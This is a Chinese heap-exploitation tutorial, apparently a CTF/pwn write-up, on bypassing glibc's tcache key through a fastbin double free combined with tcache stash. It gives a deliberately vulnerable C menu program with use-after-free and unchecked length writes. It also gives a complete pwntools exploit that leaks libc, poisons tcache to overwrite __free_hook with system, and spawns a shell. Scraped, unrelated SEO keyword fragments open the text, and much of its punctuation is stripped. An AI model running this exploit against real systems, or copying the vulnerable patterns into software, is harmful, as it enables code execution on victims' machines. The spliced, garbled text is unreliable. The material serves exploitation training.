重庆本地网站论坛有哪些,毕节地区建设网站,哪里不好就去建设,关于友谊的连接参考看雪课程#xff1a;PWN 探索篇 前言
tcache key 的引入使得 tcache dup 利用出现了困难。除了简单利用 UAF 覆写 key 或者House Of Karui 之外#xff0c;还可以利用 ptmalloc 中的其他机制进行绕过。 一、Tcache Stash with Fastbin Double Free
之前是 double free … 参考看雪课程PWN 探索篇 前言
tcache key 的引入使得 tcache dup 利用出现了困难。除了简单利用 UAF 覆写 key 或者House Of Karui 之外还可以利用 ptmalloc 中的其他机制进行绕过。 一、Tcache Stash with Fastbin Double Free
之前是 double free 后chunk 被放入不同的 tcachebin 中来绕过检查。这里则是借助 fastbin 以及 tcache stash 机制实现利用。具体过程如下
通过多次释放同样大小的堆块能在内存中实现下述布局 其中 fastbin 中的 chunk8 经过了double freefastbin 的 double free 检查仅校验释放的 chunk 和 bin 头部的 chunk 是否一致
当我们申请七次清空 tcachebin 时 当再一次申请该大小的 chunk 会发生什么这个过程有些绕让我们慢慢理解。
首先fastbin 头部的 chunk 被取下来。这里的取下来仅仅是指 fastbin 返回头部 chunk 然后指向下一个 chunk而且别忘了取出的 chunk 的值未改变因此指针还存在 然后会无缝地进行 tcache stash —— 将 fastbin 中的 chunk 填充到 tcachebin 中首先头部的 chunk9 进入 tcachebin 然后轮到 chunk8 进入 tcachebin 然后又是 chunk9 进入 tcachebin
接下来你可能会认为将 chunk9 申请出来修改其 next 即可实现 tcache poisoning然而这种较高版本 tcache 的 count 数组被用于检查 tcache 是否为空。即上图目前 tcache 记录有 3 个chunk即使 chunk9 的 next 被修改也无法更多的申请出 poisoning 的堆块。
不过注意已经取出的合法 chunk 们可以发现chunk8已经被我们取出因此我们直接修改chunk8 的 next 指针即可实现 tcache poisoning。 二、测试与模板 #includestdlib.h
#include stdio.h
#include unistd.hchar *chunk_list[0x100];void menu() {puts(1. add chunk);puts(2. delete chunk);puts(3. edit chunk);puts(4. show chunk);puts(5. exit);puts(choice:);
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts(index:);int index get_num();puts(size:);int size get_num();chunk_list[index] malloc(size);
}void delete_chunk() {puts(index:);int index get_num();free(chunk_list[index]);
}void edit_chunk() {puts(index:);int index get_num();puts(length:);int length get_num();puts(content:);read(0, chunk_list[index], length);
}void show_chunk() {puts(index:);int index get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts(invalid choice.);}}
}from pwn import *
elfELF(./pwn)
libcELF(./libc.so.6)
context.archelf.arch
context.log_leveldebugioprocess(./pwn)
def add(index,size):io.sendlineafter(bchoice:\n,b1)io.sendlineafter(bindex:\n,str(index).encode())io.sendlineafter(bsize:\n,str(size).encode())
def delete(index):io.sendlineafter(bchoice:\n,b2)io.sendlineafter(bindex:\n,str(index).encode())
def edit(index,length,content):io.sendlineafter(bchoice:\n,b3)io.sendlineafter(bindex,str(index).encode())io.sendlineafter(blength:\n,str(length).encode())io.sendafter(bcontent:\n,content)
def show(index):io.sendlineafter(bchoice:\n,b4)io.sendlineafter(bindex:\n,str(index).encode())gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_baseu64(io.recv(6).ljust(8,b\x00))-0x7591b55b6be00x7591b5200000
libc.addresslibc_base
success(hex(libc_base))
add(0,0x410)# tcache stash with fastbin attach
for i in range(9): add(i,0x20)
for i in range(2,9): delete(i)
delete(0)
delete(1)
delete(0)for i in range(2,9): add(i,0x20)
add(2,0x20)
pause()
edit(2,0x8,p64(libc.sym[__free_hook]))
pause()
add(0,0x20)
add(0,0x20)
add(0,0x20)
edit(0,0x8,p64(libc.sym[system]))
pause()
edit(3,0x8,b/bin/sh\x00)
pause()
delete(3)
io.interactive()